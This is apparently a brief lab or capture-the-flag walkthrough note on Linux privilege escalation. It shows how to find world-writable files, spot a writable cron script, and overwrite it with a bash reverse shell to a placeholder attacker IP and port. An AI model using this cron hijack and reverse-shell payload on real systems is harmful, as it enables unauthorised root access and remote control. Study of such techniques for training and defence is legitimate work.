crontab

to display schedule task

cat /etc/crontab 
# And
find / -path /proc -prune -o -type f -perm -o+w 2>/dev/null
image.png

we found two bash script so let’s know the privileges of this files

so we found [overwrite.sh](http://overwrite.sh) we can write in this file so let’s take a revers shell

bash -c 'bash -i >& /dev/tcp/AttackerIP/portnumber 0>&1'

Last updated